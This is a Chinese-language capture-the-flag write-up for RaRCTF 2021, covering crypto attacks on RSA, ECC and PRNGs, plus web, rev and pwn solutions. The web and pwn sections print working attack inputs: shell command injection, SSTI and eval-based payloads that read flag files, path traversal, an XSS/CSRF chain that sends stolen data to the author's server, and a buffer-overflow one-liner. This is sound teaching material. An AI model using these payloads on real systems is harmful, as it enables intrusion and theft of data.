RaRCTF 2021 WriteUps
這次和 NCtfU 的幾個人一起參加了 RaRCTF 2021 拿到了第三名,我拿下的 flag 主要都是 web & crypto 的題目,還有一題 rev。不過其他類別的簡單題目我有解的也會寫一些。
crypto
minigen
此題的 source code:
1 | exec('def f(x):'+'yield((x:=-~x)*x+-~-x)%727;'*100) |
可以看出它是用 id(f)
作為 seed
的一個亂數生成器,裡面用一些 bit 運算和 xor 去生成,然後輸出 key stream
和 flag 的 xor 結果。
關鍵在於 python 的 ~x
是 -1-x
,所以
-~x
和 ~-x
分別是 x+1
和
x-1
,然後用 mod 的性質可知
f(x) == f(x + 727)
,因此直接暴力搜 x 的值然後輸出看看是不是
flag 即可。
1 | exec("def f(x):" + "yield((x:=-~x)*x+-~-x)%727;" * 100) |
sRSA
用了看起來像是 RSA 的方法把 flag 加密了,不過它加密的地方是用
1 | from Crypto.Util.number import * |
unrandompad
題目每次連線時會生成一個 RSA 的
- 輸出加密過的 flag
- 輸入 message 進去輸出密文
雖然它加密的地方有個看起來像是有 padding,但仔細一看會發現根本沒有:
1 | def encrypt(m, e, n): # standard rsa |
所以就連線三次拿到用三個不同的
1 | from Crypto.Util.number import * |
Shamir's Stingy Sharing
題目有個隨機生成的多項式
它限制
解法是注意到它這個多項式其實就像是 x 進位的數字一樣,所以選個
1 | from Crypto.Util.number import * |
babycrypt
此題是正常的 RSA 加密,其中的
觀察 hint 的值可以發現:
不過由於
現在有了
1 | from Crypto.Util.number import * |
rotoRSA
source code:
1 | from sympy import poly, symbols |
此題連線之後會隨機生成一組 RSA 的
接下來進一個 loop,每次都會先生成多項式
首先是可注意到
要注意一下取得的係數的順序會是:
現在已經取得了多項式的係數,設 flag 為
指的是 rotate 過的多項式
從 server 取得多項式係數與加密過的 flag 的腳本:
1 | from pwn import remote |
根據取得的係數去解的腳本:
1 | from Crypto.Util.number import * |
PsychECC
這題要提供一個曲線上的點
關鍵在於它的橢圓曲縣是自己在純 python
簡單實作的,仔細看一下會發現它根本沒檢查你傳送過去的點有沒有在曲線上面。結合
Weierstrass form 的橢圓曲線 doubling formula 根本沒有使用到
例如我取的是
所以取新的曲線上的任意一點,然後乘
1 | p = 115792089210356248762697446949407573530086143415290314195533631308867097853951 |
snore
source code:
1 | from Crypto.Util.number import * |
它先有個固定的參數
sign 的時候的
我一開始有找到 Ethereum Bug Bounty Submission: Predictable ECDSA Nonce,裡面的 nonce 是拿訊息和 private key xor 之後得到的,可以用一些方法把它變成聯立方程式,在有 256 個 signature 的情況下可以恢復 private key。而這題是可以拿兩兩的 signature 把未知的 private key 給消除,之後理論上可以在 257 個 signature 的情況下恢復 otp 的值,但是這題沒辦法這樣做。
後來才發現到此題的關鍵是它的 messages
的一些結構,因為
len(message[0]) == len(message[4])
,和
len(message[1]) == len(message[3])
,所以 padding
的部份是兩兩相同的。再來是他們的訊息都是 Never gonna
開頭的,所以 pad 過的 messages 拿
雖然它們的差是 xor 的關係,但可以用直接用加法表示兩者的差,即
這樣可以把第一和第四式消掉
最後還有發現
的假設是錯的,不過它還是有正確的找到需要的值,不過就算沒有的話也只是改一下正負符號的問題而已
1 | from sage.all import * |
randompad
這題是 unrandompad 的修正/加強版,source code:
1 | from random import getrandbits |
這題和 unrandompad 不同的地方就在於 encrypt
函數中加密的訊息是按照 pkcs#1 v1.5 去 pad 過的,padding
的部分都是隨機的。
題目的關鍵在於
from random import getrandbits
,它使用的是 python 內建的
PRNG Mersenne Twister,代表如果有辦法取得 getrandbits
出來的值的話就有辦法預測隨機數了。
這邊可以先決定一個固定的 padlength * 8
是 32
的倍數,這樣比較方便處裡。然後這樣因為有已知的 getrandbits(padlength * 8)
,然後反覆蒐集直到超過 624 個
states 就可以還原出完整的狀態,然後預測未來的隨機數。
要做這件事需要看一下 python 內部的實現,在這個地方可以看到
getrandbits
內部的實現原理,可以知道它是透過反覆生成 32
bits 的數,然後從 LSB 開始填到 MSB,多餘的 bits 就 drop
掉,這也是前面之所以要控制長度為 32 的倍數的原因。
雖然說是 32 的倍數,但也不要設太大,不然 coppersmith 可能找不到那個 small root...,例如我用的是 256
因此就按照這個方法反覆蒐集 states,然後拿別人現成的 mersenne-twister-recover 來改,之後就可以預測出未來的 padding 的隨機值。
有了 padding 的隨機值之後還需要爆破一下 flag 的長度,用 coppersmith 去嘗試找到 flag 即可。
1 | from sage.all import * |
*A3S
這題我比賽中沒解出來,後來參考別人的 writeup 自己練習解的
參考的兩篇 writeup:
- https://jsur.in/posts/2021-08-10-rarctf-2021-a3s-writeup
- https://github.com/JuliaPoo/Collection-of-CTF-Writeups/tree/master/RARCTF-2021/A3S
這題的題目就是一個 3 進位的 AES,用了這些的名詞:
- Trit: 0, 1 或是 2
- Tryte: 三個 Trit
- Word: 三個 Tryte
一個 Tryte 是一個 (1, 0, 2)
可以表示為
解法就那些 writeup 中所說的一樣,這題的弱點在於 SBOX 是
affine,也就是
例如 SBOX 的前兩項
所以可以很容易的知道
1 | # define field |
然後我們的目標是要解出 key,從 byt_to_int(key)
的長度之後它需要 75 個 Trytes 才行,所以就用 sage 定義 75 個未知數:
1 | PF = PolynomialRing(F, "k", 75) |
接下來要稍微修改一下 expand
和 sub_wrd
函數讓它可以正常運作在 sym_keys
上面,這部分的程式碼就附在最後的程式裡面了。
接下來是要把 a3s
也改成可以運作在 sage
裡面的形式,為了方便所以中間的狀態都是表示為矩陣的形式:
1 | def a3s(msg, key): |
其中的 apply_key
substitute
shift_rows
和 mix_columns
都是改過(重寫過的)的,mix_columns
它是乘一個
((1, 2, 0), (2, 0, 1), (1, 1, 1))
的多項式,不過可以參考這篇的說明把它變成矩陣乘法比較好處理。
等 a3s
函數完整實作出來之後就能取得以 key 為未知數的
ciphertext 了,因為明文 sus.
只有一個
block,會發現它只有九個輸出,不過一樣可以用這個方法列出九條等式,然後化為矩陣之後用
solve_right
去解。由於未知數有 75 個,但我們只有 9
個等式的緣故所以有無限多組解,不過實際上任何一組解都能拿去當 key
解密的樣子。
解完之後就把原本的這題原本所提供的函數給恢復,之後把
d_a3s
改一下或是把 key 轉換回 bytes
也是可以,反正只要能把它變成能接受的 key 之後就可以成功解密了。
下方的解題腳本的前面都是直接從原題複製來的,真正我解題的 code 大概都在 300 行以後的地方。
1 | from sage.all import * |
web
lemonthinker
可以輸入文字,然後服務會生成一個圖片,裡面有你輸入的文字,然後在上面疊上一個檸檬的圖片,會把文字蓋住。核心程式碼如下:
1 |
|
雖然有過濾 "
,但還是可以有非常簡單的 command
injection,例如輸入 $(echo 1)
的結果就會是
1,所以這樣就可以 $(cat /f*)
去拿 flag 了。
不過它 generate.py
會檢測文字中有沒有
rsactf
文字出現,出現的話就不顯示,這個可以用其他的 linux
指令如 cut
之類的繞過,然後因為文字會被檸檬擋住,所以可以重複用 cut
多次把 flag 從圖片中讀出來。
或是還有個方法是利用它的 static/images
資料夾可寫的特性,用 $(cat /f* > static/images/flag)
之類的方法寫入,然後 url 直接存取 flag
也可以。這樣可以省掉從圖片中人工讀 flag 的時間。
Fancy Button Generator
這題有個網站可以讓你創造 button,可以控制一個 <a>
的 href
和裡面的文字,它都有正確 escape 所以沒辦法直接
xss...?
看一下它的 xss bot 會發現它會去點擊那個 button,所以顯然可以用
javascript:alert(1)
的方式去觸發即可。
因為它需要解 PoW,所以我直接拿作者寫 PoW 腳本來改而已:
1 | import requests |
Secure Uploader
這題有個檔案上傳服務,它會檢查檔名是否有
.
,有的話就拒絕。通過檢查後會把檔名和一個 id 的 mapping
存到資料庫中,之後寫入到 "uploads/" + filename
的地方。另外有個檔案存取的 endpoint,可以接受 id
參數,然後會從資料庫中撈出對應的檔名,回傳
os.path.join("uploads/", filename)
的檔案。
這個的繞過方法很簡單,讓檔名變成 /flag.txt
就可以了,這樣 join 之後的結果就會是
/flag.txt
。不過因為它的 instance
是多個人使用的,然後資料庫中不允許重複的檔名出現,所以可以用
/////////flag.txt
之類的方法一樣能拿 flag。
要改檔名的部份用 curl 很容易處裡:
1 | curl http://193.57.159.27:50916/upload -F "file=@anyfile.txt;filename=////////////flag" -L |
Electroplating
這題雖然只有 250 分,但是解題人數卻是 web 中最少的...
題目可以讓你上傳一個 .htmlrs
的一個 html
檔案,它會從裡面的 <templ>
元素中取 rust code
出來,生成一個 rust 的程式當作是個 webserver 當場編譯,server 本身會回應
html 的內容,然後 <templ>
裡面的 rust code
也會被執行。目標是要讀取 /flag.txt
的內容。
一個很直接的想法是直接用:
1 | <templ>fs::read_to_string("/flag.txt").unwrap()</templ> |
去讀檔案,只是它的 server 有 seccomp,允許的 syscalls 只有:
1 | static ALLOWED: &'static [usize] = &[0, 1, 3, 11, 44, |
所以沒辦法直接讀檔。
我的想法是利用 injection 看看可不可以達成什麼奇怪的效果,因為它的處裡
<templ>
中的程式的方法是直接塞進去下面的第二個
%s
的地方:
1 | templ_fun = """ |
所以如果裡面有包含 }
的話就代表我們可以多定義一些其他函數,或是其他東西出來。一個可能會想要做的做法是把它的
apply_seccomp
函數給蓋掉,這樣就能直接讀取檔案了,不過實際上 rust compiler
會直接不允許重複定義函數...
它關於 seccomp 有關的程式碼是這樣的:
1 | // other imports |
其中的 Context
Action
Rule
都是來自 seccomp::*
裡面的東西。這時我就想如果定義一個函數叫做 Context
會怎樣?
結果是它的錯誤變成沒有 Context::default
這個函數能用,顯然有點利用的機會。
後來就去查了一查,去研究看看 rust 的 mod
和
struct
等等的東西怎麼用,發現湊到下面這樣的 code
的時候可以通過編譯,然後讓 apply_seccomp
執行之後也毫無實際作用:
1 | // other imports |
所以最後把它放進去 template 之中,把一些要 escape 的字元處裡過之後得到這樣的 template 然後上傳就能得到 flag 了:
1 | <html> |
這題因為也有 PoW,所以也有個 solver:
1 | import requests |
Microservices As A Service 1
這題是個用多層服務組成起來的計算機,最外層有個包含這個題組所有題目的前端叫 app,然後這題的中間層是個 python 服務 calculator,它會去呼叫最內層的兩個 node.js 服務進行計算 checkers 和 arithmetic。
題目的關鍵在於第二層 python 服務的這個地方:
1 |
|
後端 node.js 服務的 /add
是直接把兩個 +
起來:
1 | app.get('/add', (req, res) => { |
所以很明顯的可以利用 add
和控制 n1
與
n2
去 eval 想要的東西,只是難點在於它回傳的內容是
res
。這如果是 python 3.8 以上的話可以用
res := something
去修改目標,然後取得回顯。另外這題的
docker compose 有設定這個服務是完全在內網的,所以想用其他方法把 flag
傳出去也不可能。
我找到的一個方法是用 app.after_request
和
app.make_response
去塞自己的 hook,然後 flag 放到自己的
response 之中:
1 | curl http://localhost:5000/calculator -F 'mode=arithmetic' -F 'add=1' -F 'n1=[app.after_request(lambda x: app.make_response(open("/flag.txt").read()))' -F 'n2=,0][0]' |
這個的缺點是之後如果再正常存取的話也會直接顯示 flag,讓每個人都看了到,所以可以再新增一個 hook 去存取沒定義的 variable,所以下次存取的時候會直接 error,別人想解題都沒辦法。
不過我告訴作者後,作者把 eval
那行 patch 掉變成了:
res_type = type(eval(res, builtins.__dict__, {}))
,雖然一樣能存取
builtins,但 app
就不能用了。預期解大概是用 blind 去二分搜
flag 吧。
Microservices As A Service 2 / MAAS 2.5: Notes
這題一樣是多層的服務,第二層的地方是一個 python 服務 notes,而第三層也是一個 python 服務 redis_userdata,拿來和 redis 溝通用。
此題關鍵的 code 在這邊:
1 |
|
你可以設定 bio
的值,然後它最後會去用
render_template_string
,所以可以 SSTI 拿 flag:
1 | {{g.pop.__globals__.__builtins__.open("/flag.txt").read()}} |
顯然這個肯定不該這麼簡單,問題就出在 bio.replace
那行,作者 replace
不是 inplace 的了,所以就釋出了 2.5
版本把這個給修復了,變成 bio = bio.replace...
。
完整修復後的 /useraction
長這樣:
1 |
|
而它所溝通的 redis_userdata
服務長這樣:
1 | from flask import Flask, request, jsonify |
仔細看一下可以知道它會為每個 user 新開一個 redis server,然後 user
可以用 adddata
去設定 key value,還有
keytransfer
可以指定 host
port
和
key
把你自己的 redis server 上某個 key 的值轉移到另一個
redis server 上面。
目標顯然就是 redis_users:6379
,改這個的話只能修改一個
user 所對應到的 port 而已,那麼這樣能做什麼呢? 可以注意到它的 port
會被拿去接 url,所以如果把 port 改成 ../bio/8763
,然後呼叫
adddata
的時候設定 bio 似乎就能繞過它的 replace 直接寫入
bio,然後就能 SSTI。
不過要達成這件事並沒這麼簡單,我是透過兩個 user 和一些固定的流程來達成的:
- 新增主 user (maple),記錄下 port
- 新增副 user (tmp)
- tmp adddata: maple =
../bio/{port}
- tmp keytransfer: host =
redis_users
, port =6379
, key =maple
,這樣 maple 的 port 就變成了../bio/{port}
- maple adddata: bio =
{SSTI_PAYLOAD}
,成功寫入 SSTI 的 bio - tmp adddata: maple =
{port}
- tmp keytransfer: host =
redis_users
, port =6379
, key =maple
,把 maple 的 port 恢復原狀之後才能正常存取 port - maple 觸發 SSTI
1 | import httpx |
Microservices As A Service 3 / MAAS 3.5: User Manager
這題第二層 python 服務 manager 會接受第一層 app 的請求,和 redis
manager_users
互動,可以註冊/登入之類的。
登入之後每個 user 都有個 uid
,有個功能是修改任意
uid
大於等於自己 uid
的 user
的密碼,這部分會和第三層的一個 golang 服務溝通,裡面的資料也是存在
manager_users
裡面的。
拿到 flag 的條件是以 admin
(uid = 0
)
登入,但 uid
都是遞增的,所以你自己的 uid
起碼都會比 0
要大。
它做檢查的部分是在第一層 app 的這個地方檢查:
1 |
|
其中的 int(session['managerid'])
就是你自身的
uid
。第二層的 /update
是很單純的把資料直接 pas
到下一層 golang 去而已,沒有任何改變。
這個突然從 python 變成 golang 的這回事讓我想到了 json 在出現重複 key
的時候是沒有標準規定要怎麼處裡的,例如 python 中
json.loads('{"a": 1, "a": 2}')['a']
的結果是
2
。
而第三層服務的 json 使用的是
github.com/buger/jsonparser
,經過測試可以發現當重複 key
出現的時候會取前面的 key。
所以方法就是讓 json 出現重複的 key,就可以成功繞過 python
的檢查,然後讓後端 golang 把 uid = 0
的 user
的密碼給改掉,所以就能用 admin 登入拿到 flag。
在瀏覽器的 console 中執行這個即可:
1 | await fetch("/manager/update", { |
上面的解法是正常的 intended solution,可以解掉原本的以及 patch 之後的
3.5 版。它 3.5 版所修改的地方是 manager/app.py
的
/update
endpoint 多加了一個 jsonschema 的 check
而已。這樣讓人很容易想到該不會是有方法繞過前端的 app 直接對後台 request?
事實上也真是如此,從它的 docker-compose.yml
中可以看到它
calculator notes manager 都屬於在一個 level-1
的 subnet
中,而 calculator 也就是第一題的服務是可以 RCE
的。所以肯定是有人用那題的 RCE 對第三題發送 request 作為 unintended
solution。
而它 3.5 的 patch 是這樣:
1 |
|
可以看到它會檢查 ?id=
的參數,而第一層 app
的地方也有對此增加個參數。不過這其實還是能用很簡單的方法繞,就是在從第一題的
request 時多加上一個 ?id=0
即可,或是另一個方法是注意到它第三層的 golang manager_updater 也是在
level-1
之中,直接 request 它也可以。
還有其實第二題也可以用這個 unintended 解,直接發送 request 給 notes
的 /render
發送 SSTI payload 即可...
Secure Storage
這題有兩個開在不同 domain
上的頁面,securestorage.rars.win
和
secureenclave.rars.win
。
enclave 的頁面上面的 js 如下:
1 | console.log("secure js loaded..."); |
其中的 document.getElementById("site").innerText
是
https://securestorage.rars.win
。所以它可以接受來自
securestorage.rars.win
的 postMessage
一些值。
storage 則是個可以註冊、登入的服務,還有個 submit url 給 XSS Bot 的功能。登入之後有個頁面中有 iframe,裡面顯示的是 enclave 的內容,另外還有一些給使用者輸入的 UI,而 storage 那個頁面上的 js 如下:
1 | window.onload = ()=>{ |
可以看到它會利用 postMessage
去設定 message
和 color
等等的東西,然後 iframe 裡面的 enclave
就會更新內容。
首先目標要達成 XSS,仔細去讀 source code 之後可以在
views/layout.hbs
中看到這個:
1 | {{#if info}} |
在 Handlebars 之中,{{ }}
是會把裡面的內容給 html escape 的意思,而
{{{ }}}
是不要 escape 的意思。所以如果
info
可控那就能 XSS 了。繼續 trace 下去能在
routes/api.js
裡面的 /register
和
/login
的地方看到這行:
1 | req.session.info = `Logged in as ${user} successfully`; |
可以知道 username 可以 XSS,自己測試一下也能成功。但是這個訊息是 flash message,在註冊或是登入後只會顯示一次,所以要透過讓 XSS Bot 去其他網站的頁面用 CSRF 登入,然後就能把這個 Self-XSS 變成 XSS 了。
下個問題是 XSS storage 頁面之後要對 iframe postMessage
什麼東西,目標是要拿到 bot 在 enclave 頁面上的
localStorage.message
。看一下 enclave 上面的
code,可以發現你可以對 window
上面任意的 attribute
設定任意的 string 值,但是 enclave 本身又有嚴格的 CSP
所以無法直接在上面觸發 XSS。
1 | default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com; |
由於 enclave 上面的 z
函數在呼叫之前會把你的參數都轉換成
string,想得到 localStorage.message
也是不可能的。所以我的想法是否有什麼方法可以讓這兩個不同的子網域溝通呢?
例如共通存取 localStorage
之類的。
查資料後發現 html5 的 localStorage
是完全沒辦法跨網域存取的,不過看到一個 document.domain
的東西就讓我想到的解題的方法了。
方法是先用 postMessage
把 enclave 頁面上的
document.domain
設為 rars.win
,然後自己
storage 頁面的 document.domain
也是要設為
rars.win
。此時去存取 iframe 裡面的 DOM
的時候就不會有存取錯誤了,因為兩邊的 domain 互相吻合,所以這樣就能透過
DOM 拿到 flag,然後再自己傳回去即可。
payload 的用法是在自己的一個頁面上弄以下的內容:
1 | <form method=POST action=https://securestorage.rars.win/api/login id=form> |
然後先用 payload
的內容去註冊一個帳號,之後把自己的頁面的 url submit 給 XSS
Bot,然後它就會到你的頁面來用 CSRF 登入,之後觸發 payload
中的 XSS 去改兩個頁面的 document.domain
,然後就可以把 flag
傳回到自己的 server 了。
另外我在出題者的 Write Up 中有看到一個很有趣的 unintended solution,payload 如下:
1 | window.addEventListener("load", () => { |
簡單來說它先設定 document.body.innerHTML
,因為 CSP
沒有設 object-src
的原因所以可以放 iframe。接下來是它的 CSP
並不是用 http header 在每個檔案上都放的,而是直接放在 html 中的
<meta>
中而已,所以就先找到伺服器上一個沒有 CSP
的頁面如 /assets/LICENSE.txt
。載入之後用
frame.contentWindow.document.body.innerHTML
的方法直接去改它的 html 達成 XSS,因為那個頁面沒有 CSP 所以可以成功,而
flag 是放在 localStorage
之中的,所以只要是同個網域的頁面也都能存取到。
rev
boring flag checker
這題是唯一我有在比賽中解的 rev。
提供的檔案有一個 binary 還有個
prog.bin
,執行它之後它會從 prog.bin
讀東西,然後會有個 flag checker 讓你輸入 flag 去檢查。
打開 IDA 簡單讀一下可以看出它是把 binary 的各個 byte mod 8 之後的值 map 到 brainfuck 的 8 個指令,所以可以簡單用 python 寫個轉換器輸出成標準的 brainfuck,之後拿其他的 brainfuck interpreter 去執行可以發現有一樣的效果,所以代表轉換完全沒問題。
之後繼續用 python 繼續把 brainfuck 翻譯到 C,然後編譯之後也能正常運作。之後就自己想辦法觀察 C 程式,可以知道它在最後面那段有個地方是判斷最後結果輸出 success 或是 failure 的地方,在那邊我把 pointer 的 index 輸出了出來,是 1。
之後我再用把 to C 的轉換器加上了
if (ptr == 1) debug(__LINE__);
,debug
裡面會輸出 cells 的部分結果。接下來透過改變輸入並觀察的 cell
的變化可以看到一個關鍵,某行的 cells output
的會根據輸入大幅變化,經過測試會發現它每兩個字元是正確的話就會多兩個 0
的 cell。
所以就兩兩字元直接去爆破自己重新編譯的 flag checker,之後就能拿到 flag。
python to C 的轉換器,包含了要在適當地方輸出 cell output 的東西都有加:
1 | with open("prog.bin", "rb") as f: |
輸出出來的 ./bf
只要每多兩個字元是正確的,就會多兩個
0,按照這個規則寫的 multiprocess flag cracker:
1 | from pwn import * |
它可以在大概 5 分鐘內跑出來。
pwn
archer
可以輸入一個 address,然後它會把指標加上一個常數之後把目標位置的
DWORD 值設為 0。得到 shell 的條件是要把一個 global 的 variable
改掉,所以就算好 address 之後輸入進去即可。我算出來的是
-0xfbf98
。
ret2winrars
這題就很單純的 buffer overflow ret,目標是裡面的一個 function,它會直接去讀 flag 出來。在 local 測試的時候只要 return 一次即可,不過在 remote 會失敗,大概 remote 有 stack alignment 的要求,所以再讓它多 ret 一次之後再到那個目標 function 就可以了。
1 | echo -n 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\x90\x11\x40\0\0\0\0\0\x62\x11\x40\0\0\0\0\0\n' | nc 193.57.159.27 33769 |
notsimple
這題它先給你了 stack address,然後有 buffer overflow,NX 也都沒開,所以很明顯是 ret2shellcode。不過問題在於它有 seccomp,用 seccomp-tools dump 可以看到這個:
1 | line CODE JT JF K |
簡單來說是沒辦法 get shell。而 flag
的位置也比較特別,不是放在一個檔案裡面,而是放在同個資料夾下的某個檔案的名稱上面。所以目標是要實現類似
ls
的 shellcode。
首先因為它的 buffer 比較小,我先給它一個 shellcode 讓它用
read
讀入更長的 shellcode 之後 jump
過去,這樣就能寫任意長度的 shellcode 了。
之後 strace ls
可以看到它用的是 getdents64
的 syscall,所以就在 pwntools 的輔助下去呼叫那個 syscall 即可獲得
flag。
1 | from pwn import * |